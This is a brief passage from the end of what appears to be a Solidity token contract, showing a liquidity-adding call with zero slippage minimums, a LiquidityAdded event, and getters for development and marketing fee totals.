is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); emit LiquidityAdded(tokenAmount, ethAmount); } function totalDevelopmentFee() public view returns (uint256) { return _tDevelopmentTotal; } function totalMarketingFee() public view returns (uint256) { return _tMarketingTotal; } }